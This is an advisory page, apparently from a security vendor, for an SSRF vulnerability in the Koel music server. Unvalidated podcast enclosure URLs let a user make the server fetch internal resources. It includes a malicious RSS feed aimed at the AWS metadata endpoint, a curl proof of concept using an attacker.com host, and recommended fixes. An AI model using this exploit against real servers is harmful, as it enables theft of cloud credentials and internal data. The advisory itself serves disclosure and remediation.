CVE-2026-47260

Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.

Vulnerability Details

Episode URL Stored Without Validation

File: app/Services/Podcast/PodcastService.php, line 146

'path' => $episodeValue->enclosure->url,  // Unvalidated URL from RSS XML

The SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.

SSRF Trigger: Full Content Download

File: app/Values/Podcast/EpisodePlayable.php, line 42

Http::sink($file)->get($episode->path)->throw();

When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.

SafeUrl Applied Only to Feed URL

File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php

public function rules(): array
{
    return ['url' => ['required', 'url:http,https', new SafeUrl]];
}

The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL, not the content within the feed.

Attack Flow

1. Attacker registers an account (Community edition, no Plus required)
2. Attacker hosts a malicious RSS feed on a public server:

   <rss version="2.0">
     <channel>
       <title>Legit Podcast</title>
       <item>
         <title>Episode 1</title>
         <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                    type="audio/mpeg" length="1000"/>
         <guid>ssrf-1</guid>
       </item>
     </channel>
   </rss>
   

3. POST /api/podcasts with url=https://evil.com/feed.xml, passes SafeUrl (public URL)
4. Koel parses feed, stores episode with path = http://169.254.169.254/...
5. Attacker plays episode: GET /play/{episode_id}
6. Server executes Http::sink($file)->get("http://169.254.169.254/...")
7. AWS metadata response downloaded to disk, streamed back to attacker

Proof of Concept

#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast

KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"

# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://attacker.com/feed.xml"}'

# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')

# Play the episode, triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin

cat response.bin
# Expected: AWS metadata / internal service response

Secondary Finding: SSRF Bypass via AI Radio Station Tool

File: app/Ai/Tools/AddRadioStation.php, lines 35-38

The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.

Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.

Novelty Check

• No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
• No SECURITY.md in the repository
• This is a novel vulnerability

• Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
• Internal network reconnaissance: Scan ports and enumerate internal HTTP services
• Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
• Full response body: Unlike blind SSRF, the entire response is returned to the attacker

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-47260 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.3.5); upgrading removes the vulnerable code path.

Kodem intelligence

Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():

foreach ($episodeCollection as $episodeValue) {
    $enclosureUrl = $episodeValue->enclosure->url;
    $host = parse_url($enclosureUrl, PHP_URL_HOST);
    if (!$host || !Network::isPublicHost($host)) {
        continue; // Skip episodes with non-public URLs
    }
    // ... rest of episode creation
}

Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().

Fix 3: Add SafeUrl validation in AddRadioStation AI tool.

1. What is CVE-2026-47260? CVE-2026-47260 is a high-severity server-side request forgery (SSRF) vulnerability in phanan/koel (composer), affecting versions <= 9.3.4. It is fixed in 9.3.5. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-47260? CVE-2026-47260 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of phanan/koel are affected by CVE-2026-47260? phanan/koel (composer) versions <= 9.3.4 is affected.
4. Is there a fix for CVE-2026-47260? Yes. CVE-2026-47260 is fixed in 9.3.5. Upgrade to this version or later.
5. Is CVE-2026-47260 exploitable, and should I be worried? Whether CVE-2026-47260 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47260 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47260? Upgrade phanan/koel to 9.3.5 or later.